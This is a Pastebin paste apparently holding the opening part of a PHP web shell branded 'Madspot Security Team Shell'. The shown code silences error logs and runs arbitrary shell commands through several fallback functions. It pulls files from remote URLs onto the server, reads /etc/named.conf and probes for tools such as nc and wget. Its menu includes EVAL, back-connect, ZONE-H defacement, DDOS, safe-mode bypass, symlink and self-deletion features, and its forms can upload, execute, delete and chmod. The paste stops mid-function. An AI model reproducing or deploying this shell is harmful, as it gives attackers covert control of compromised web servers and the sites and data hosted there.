Pisher

MadsPost Shell

Nov 7th, 2015
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 96.05 KB | None | 0 0
  1.    
  2.  
  3.     <?php
  4.      
  5.     /**
  6.      * @author Ikram ALI
  7.      * @copyright 2012
  8.      */
  9.     @define('VERSION','1.0');
  10.     @error_reporting(E_ALL ^ E_NOTICE);
  11.     @session_start();
  12.     @ini_set('error_log',NULL);
  13.     @ini_set('log_errors',0);
  14.     @ini_set('max_execution_time',0);
  15.     @set_time_limit(0);
  16.     @set_magic_quotes_runtime(0);
  17.      
  18.     if(get_magic_quotes_gpc()) {
  19.             function madstripslashes($array) {
  20.                     return is_array($array) ? array_map('madstripslashes', $array) : stripslashes($array);
  21.             }
  22.             $_POST = madstripslashes($_POST);
  23.     }
  24.     $default_action = 'FilesMan';
  25.     $default_use_ajax = true;
  26.     $default_charset = 'Windows-1251';
  27.     if (strtolower(substr(PHP_OS,0,3))=="win")
  28.         $sys='win';
  29.      else
  30.         $sys='unix';
  31.        
  32.     $home_cwd = @getcwd();
  33.     if(isset($_POST['c']))
  34.             @chdir($_POST['c']);  
  35.        
  36.     $cwd = @getcwd();
  37.     if($sys == 'win')
  38.     {
  39.         $home_cwd = str_replace("\\", "/", $home_cwd);
  40.             $cwd = str_replace("\\", "/", $cwd);
  41.     }
  42.      
  43.     if($cwd[strlen($cwd)-1] != '/' )
  44.             $cwd .= '/';
  45.        
  46.        
  47.     function madEx($in) {
  48.             $out = '';
  49.             if (function_exists('exec')) {
  50.                     @exec($in,$out);
  51.                     $out = @join("\n",$out);
  52.             } elseif (function_exists('passthru')) {
  53.                     ob_start();
  54.                     @passthru($in);
  55.                     $out = ob_get_clean();
  56.             } elseif (function_exists('system')) {
  57.                     ob_start();
  58.                     @system($in);
  59.                     $out = ob_get_clean();
  60.             } elseif (function_exists('shell_exec')) {
  61.                     $out = shell_exec($in);
  62.             } elseif (is_resource($f = @popen($in,"r"))) {
  63.                     $out = "";
  64.                     while(!@feof($f))
  65.                             $out .= fread($f,1024);
  66.                     pclose($f);
  67.             }
  68.             return $out;
  69.     }
  70.     $down=@getcwd();
  71.     if($sys=="win")
  72.     $down.='\\';
  73.     else
  74.     $down.='/';
  75.     if(isset($_POST['rtdown']))
  76.     {
  77.     $url = $_POST['rtdown'];
  78.     $newfname = $down. basename($url);
  79.     $file = fopen ($url, "rb");
  80.     if ($file) {
  81.       $newf = fopen ($newfname, "wb");
  82.       if ($newf)
  83.       while(!feof($file)) {
  84.         fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  85.       }
  86.       }
  87.      
  88.     if ($file) {
  89.       fclose($file);
  90.     }
  91.     if ($newf) {
  92.       fclose($newf);
  93.     }
  94.     }
  95.      
  96.        
  97.      
  98.      function madhead()
  99.      {
  100.         if(empty($_POST['charset']))
  101.                     $_POST['charset'] = $GLOBALS['default_charset'];
  102.      
  103.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  104.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  105.     $totalSpace = $totalSpace?$totalSpace:1;        
  106.        
  107.     $on="<font color=#0F0> ON </font>";
  108.     $of="<font color=red> OFF </font>";
  109.     $none="<font color=#0F0> NONE </font>";  
  110.     if(function_exists('curl_version'))
  111.         $curl=$on;
  112.     else
  113.         $curl=$of;
  114.     if(function_exists('mysql_get_client_info'))
  115.         $mysql=$on;
  116.      else
  117.         $mysql=$of;      
  118.     if(function_exists('mssql_connect'))
  119.         $mssql=$on;
  120.     else
  121.        $mssql=$of;
  122.                    
  123.     if(function_exists('pg_connect'))
  124.         $pg=$on;
  125.     else
  126.        $pg=$of;            
  127.     if(function_exists('oci_connect'))
  128.        $or=$on;
  129.     else
  130.        $or=$of;
  131.     if(@ini_get('disable_functions'))
  132.       $disfun=@ini_get('disable_functions');
  133.     else
  134.     $disfun="All Functions Enable";
  135.     if(@ini_get('safe_mode'))
  136.     $safe_modes="<font color=red>ON</font>";
  137.     else
  138.     $safe_modes="<font color=#0F0 >OFF</font>";
  139.     if(@ini_get('open_basedir'))
  140.     $open_b=@ini_get('open_basedir');
  141.         else
  142.       $open_b=$none;
  143.        
  144.      
  145.     if(@ini_get('safe_mode_exec_dir'))
  146.     $safe_exe=@ini_get('safe_mode_exec_dir');
  147.         else
  148.     $safe_exe=$none;
  149.     if(@ini_get('safe_mode_include_dir'))
  150.        $safe_include=@ini_get('safe_mode_include_dir');
  151.     else
  152.      $safe_include=$none;
  153.     if(!function_exists('posix_getegid'))
  154.     {
  155.                     $user = @get_current_user();
  156.                     $uid = @getmyuid();
  157.                     $gid = @getmygid();
  158.                     $group = "?";
  159.     } else
  160.     {
  161.                     $uid = @posix_getpwuid(posix_geteuid());
  162.                     $gid = @posix_getgrgid(posix_getegid());
  163.                     $user = $uid['name'];
  164.                     $uid = $uid['uid'];
  165.                     $group = $gid['name'];
  166.                     $gid = $gid['gid'];
  167.             }
  168.      
  169.      
  170.          $cwd_links = '';
  171.             $path = explode("/", $GLOBALS['cwd']);
  172.             $n=count($path);
  173.             for($i=0; $i<$n-1; $i++) {
  174.                     $cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";
  175.                     for($j=0; $j<=$i; $j++)
  176.                             $cwd_links .= $path[$j].'/';
  177.                     $cwd_links .= "\")'>".$path[$i]."/</a>";
  178.             }
  179.      
  180.     $drives = "";
  181.     foreach(range('c','z') as $drive)
  182.     if(is_dir($drive.':\\'))
  183.     $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  184.      
  185.      
  186.      
  187.      
  188.      
  189.      echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  190.    <html xmlns="http://www.w3.org/1999/xhtml">
  191.    <head>
  192.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  193.    <link href="http://www.madspot.net/favicon.ico" rel="icon" type="image/x-icon"/>
  194.    <title>Madspot Security Team Shell</title>
  195.    <style type="text/css">
  196.    <!--
  197.    .whole {
  198.            background-color: #CCC;
  199.            height:auto;
  200.            width: auto;
  201.            margin-top: 10px;
  202.            margin-right: 10px;
  203.            margin-left: 10px;
  204.    }
  205.    .header {
  206.            height: auto;
  207.            width: auto;
  208.            border: 7px solid #CCC;
  209.            color: #999;
  210.            font-size: 12px;
  211.            font-family: Verdana, Geneva, sans-serif;
  212.            background-color: #000;
  213.    }
  214.    .header a {color:#0F0; text-decoration:none;}
  215.    span {
  216.            font-weight: bolder;
  217.            color: #FFF;
  218.    }
  219.    #meunlist {
  220.            font-family: Verdana, Geneva, sans-serif;
  221.            color: #FFF;
  222.            background-color: #000;
  223.            width: auto;
  224.            border-right-width: 7px;
  225.            border-left-width: 7px;
  226.            border-top-style: solid;
  227.            border-right-style: solid;
  228.            border-bottom-style: solid;
  229.            border-left-style: solid;
  230.            border-top-color: #CCC;
  231.            border-right-color: #CCC;
  232.            border-bottom-color: #CCC;
  233.            border-left-color: #CCC;
  234.            height: auto;
  235.            font-size: 12px;
  236.            font-weight: bold;
  237.            border-top-width: 0px;
  238.    }
  239.     .whole #meunlist ul {
  240.            padding-top: 5px;
  241.            padding-right: 5px;
  242.            padding-bottom: 7px;
  243.            padding-left: 2px;
  244.            text-align:center;
  245.            list-style-type: none;
  246.            margin: 0px;
  247.    }
  248.     .whole #meunlist li {
  249.            margin: 0px;
  250.            padding: 0px;
  251.            display: inline;
  252.    }
  253.     .whole #meunlist a {
  254.       font-family: arial, sans-serif;
  255.            font-size: 14px;
  256.            text-decoration:none;
  257.            font-weight: bold;
  258.            color: #fff;
  259.            clear: both;
  260.            width: 100px;
  261.            margin-right: -6px;
  262.            padding-top: 3px;
  263.            padding-right: 15px;
  264.            padding-bottom: 3px;
  265.            padding-left: 15px;
  266.            border-right-width: 1px;
  267.            border-right-style: solid;
  268.            border-right-color: #FFF;
  269.    }
  270.     .whole #meunlist a:hover {
  271.            color: #000;
  272.            background: #fff;
  273.    }
  274.    
  275.    .foot {
  276.            font-family: Verdana, Geneva, sans-serif;
  277.            background-color: #000;
  278.            margin: 0px;
  279.            padding: 0px;
  280.            width: 100%;
  281.            text-align: center;
  282.            font-size: 12px;
  283.            color: #CCC;
  284.            border-right-width: 7px;
  285.            border-left-width: 7px;
  286.       border-bottom-width: 7px;
  287.       border-bottom-style: solid;
  288.       border-right-style: solid;
  289.       border-right-style: solid;
  290.            border-left-style: solid;
  291.            border-top-color: #CCC;
  292.            border-right-color: #CCC;
  293.            border-bottom-color: #CCC;
  294.            border-left-color: #CCC;
  295.    }';
  296.     if(is_writable($GLOBALS['cwd']))
  297.      {
  298.         echo ".foottable {
  299.       width: 300px;
  300.       font-weight: bold;
  301.       }";}
  302.         else
  303.         {
  304.            echo ".foottable {
  305.       width: 300px;
  306.       font-weight: bold;
  307.       background-color:red;
  308.       }
  309.       .dir {
  310.         background-color:red;  
  311.       }
  312.       ";
  313.         }    
  314.      echo '.main th{text-align:left;}
  315.    .main a{color: #FFF;}
  316.    .main tr:hover{background-color:red;}
  317.    .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  318.    .bigarea{ width:99%; height:300px; }  
  319.     </style>
  320.    
  321.    ';
  322.      
  323.     echo "<script>
  324.       var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  325.       var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  326.       var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  327.       var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  328.       var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  329.       var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  330.       var d = document;
  331.            function set(a,c,p1,p2,p3,charset) {
  332.                    if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  333.                    if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  334.                    if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  335.                    if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  336.                    if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  337.                    if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  338.            }
  339.            function g(a,c,p1,p2,p3,charset) {
  340.                    set(a,c,p1,p2,p3,charset);
  341.                    d.mf.submit();
  342.            }</script>";
  343.      
  344.        
  345.             echo '
  346.    </head>
  347.    
  348.    <body bgcolor="#000000"  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  349.    <div class="whole">
  350.    <form method=post name=mf style="display:none;">
  351.    <input type=hidden name=a>
  352.    <input type=hidden name=c>
  353.    <input type=hidden name=p1>
  354.    <input type=hidden name=p2>
  355.    <input type=hidden name=p3>
  356.    <input type=hidden name=charset>
  357.    </form>
  358.     <div class="header"><table width="100%" border="0"  align="lift">
  359.     <tr>
  360.       <td width="3%"><span>Uname:</span></td>
  361.       <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
  362.       </tr>
  363.     <tr>
  364.       <td><span>User:</span></td>
  365.       <td>'. $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
  366.       <td width="14%" rowspan="8"><img alt="" src="data:image/jpeg;base64,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" /></td>
  367.     </tr>
  368.     <tr>
  369.       <td><span>PHP:</span></td>
  370.       <td>'.@phpversion(). '   <span>   Safe Mode:'.$safe_modes.'</span></td>
  371.       </tr>
  372.     <tr>
  373.       <td><span>Our IP:</span></td>
  374.       <td>'.@$_SERVER["SERVER_ADDR"].'    <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
  375.     </tr>
  376.     <tr>
  377.       <td><span>WEBS:</span></td>
  378.       <td width="76%">';
  379.        
  380.         if($GLOBALS['sys']=='unix')
  381.         {
  382.             $d0mains = @file("/etc/named.conf");
  383.             if(!$d0mains)
  384.             {
  385.                 echo "CANT READ named.conf";
  386.             }
  387.             else
  388.             {
  389.               $count;  
  390.              foreach($d0mains as $d0main)
  391.              {
  392.               if(@ereg("zone",$d0main))
  393.               {
  394.               preg_match_all('#zone "(.*)"#', $d0main, $domains);
  395.                flush();
  396.               if(strlen(trim($domains[1][0])) > 2){
  397.              flush();
  398.              $count++;
  399.                }
  400.                }
  401.                }
  402.                echo "$count  Domains";
  403.             }
  404.         }
  405.         else{ echo"CANT READ |Windows|";}
  406.        
  407.           echo '</td>
  408.       </tr>
  409.       <tr>
  410.       <td height="16"><span>HDD:</span></td>
  411.       <td>'.madSize($totalSpace).' <span>Free:</span>' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
  412.       </tr>';
  413.      
  414.          if($GLOBALS['sys']=='unix' )
  415.     {
  416.         if(!@ini_get('safe_mode'))
  417.         {
  418.        
  419.         echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
  420.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  421.          foreach($userful as $item)
  422.              if(madWhich($item))
  423.              echo $item.',';
  424.              echo '</td>
  425.            </tr>
  426.             <tr>
  427.             <td height="0" colspan="2"><span>Downloader:</span>';
  428.              
  429.          $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  430.           foreach($downloaders as $item2)
  431.            if(madWhich($item2))
  432.             echo $item2.',';
  433.             echo '</td>
  434.                 </tr>';
  435.              
  436.               }
  437.                else
  438.                {
  439.              echo '<tr><td height="18" colspan="2"><span>useful:</span>';
  440.              echo '--------------</td>
  441.              </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  442.                 </tr>';  
  443.              }
  444.     }
  445.     else
  446.     {
  447.        echo '<tr><td height="18" colspan="2"><span>Window:</span>';
  448.        echo madEx('ver');
  449.        echo '</td>
  450.            </tr> <tr>
  451.           <td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  452.                 </tr>';
  453.        
  454.     }  
  455.        
  456.      
  457.      echo '<tr>
  458.       <td height="16" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
  459.     </tr>
  460.     <tr>
  461.       <td height="16" colspan="2"><span>cURL:'.$curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle: </span>'.$or.'</td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRzcG90Lm5ldCIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULk5FVDwvZm9udD48L3NwYW4+PC9hPg==").'</td>
  462.     </tr>
  463.     <tr>
  464.     <td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</td>
  465.     </tr>
  466.     <tr>
  467.       <td height="11"><span>Server </span></td>
  468.       <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
  469.     </tr>';
  470.       if($GLOBALS[sys]=="win")
  471.       {
  472.         echo '<tr>
  473.       <td height="12"><span>DRIVE:</span></td>
  474.       <td colspan="2">'.$drives.'</td>
  475.        </tr>';
  476.       }
  477.      
  478.       echo '<tr>
  479.       <td height="12"><span>PWD:</span></td>
  480.       <td colspan="2">'.$cwd_links.'  <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
  481.     </tr>
  482.     </table>
  483.    </div>
  484.    <div id="meunlist">
  485.         <ul>
  486.    <li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
  487.    
  488.    <li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li>
  489.    <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
  490.    <li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
  491.    <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
  492.    <li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li>
  493.    <li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
  494.    <li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
  495.    <li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
  496.    <li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
  497.    <li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">MADSPOT</a></li>
  498.    <li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li>
  499.    </ul>
  500.      
  501.       </div>
  502.    ';  
  503.        
  504.     }
  505.      
  506.     function madfooter()
  507.     {
  508.        
  509.         echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
  510.          <tr>
  511.            <td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>__MK FILE__</span><br><input class='dir'  type=text name=f value=''><input type=submit value='>>'></form></td>
  512.            <td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>__MK DIR__</span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td>
  513.            <td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span>__DELETE__</span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td>
  514.            <td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span>__CHMOD__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
  515.          </tr>
  516.          <tr>
  517.            <td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span>__CHANGE DIR__</span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
  518.            <td colspan='2'><form method='post' ><span>__HTTP DOWNLOAD__</span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td>
  519.           </tr>
  520.          <tr>
  521.            <td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td>
  522.           </tr>
  523.          <tr>
  524.            <td colspan='4'><form method='post' ENCTYPE='multipart/form-data'>
  525.                    <input type=hidden name=a value='FilesMAn'>
  526.                    <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  527.                    <input type=hidden name=p1 value='uploadFile'>
  528.                    <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  529.           <span>Upload file:</span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td>
  530.           </tr>
  531.         </table>
  532.     </div>
  533.     </body>
  534.    </html>
  535.    ";
  536.        
  537.     }
  538.     if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
  539.        function posix_getpwuid($p) {return false;} }
  540.     if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  541.       function posix_getgrgid($p) {return false;} }
  542.      
  543.     function madWhich($p) {
  544.             $path = madEx('which ' . $p);
  545.             if(!empty($path))
  546.                     return $path;
  547.             return false;
  548.     }
  549.      
  550.      
  551.      
  552.     function madSize($s) {
  553.             if($s >= 1073741824)
  554.                     return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  555.             elseif($s >= 1048576)
  556.                     return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  557.             elseif($s >= 1024)
  558.                     return sprintf('%1.2f', $s / 1024 ) . ' KB';
  559.             else
  560.                     return $s . ' B';
  561.     }
  562.      
  563.      
  564.     function madPerms($p) {
  565.             if (($p & 0xC000) == 0xC000)$i = 's';
  566.             elseif (($p & 0xA000) == 0xA000)$i = 'l';
  567.             elseif (($p & 0x8000) == 0x8000)$i = '-';
  568.             elseif (($p & 0x6000) == 0x6000)$i = 'b';
  569.             elseif (($p & 0x4000) == 0x4000)$i = 'd';
  570.             elseif (($p & 0x2000) == 0x2000)$i = 'c';
  571.             elseif (($p & 0x1000) == 0x1000)$i = 'p';
  572.             else $i = 'u';
  573.             $i .= (($p & 0x0100) ? 'r' : '-');
  574.             $i .= (($p & 0x0080) ? 'w' : '-');
  575.             $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  576.             $i .= (($p & 0x0020) ? 'r' : '-');
  577.             $i .= (($p & 0x0010) ? 'w' : '-');
  578.             $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  579.             $i .= (($p & 0x0004) ? 'r' : '-');
  580.             $i .= (($p & 0x0002) ? 'w' : '-');
  581.             $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  582.             return $i;
  583.     }
  584.     function madPermsColor($f) {
  585.             if (!@is_readable($f))
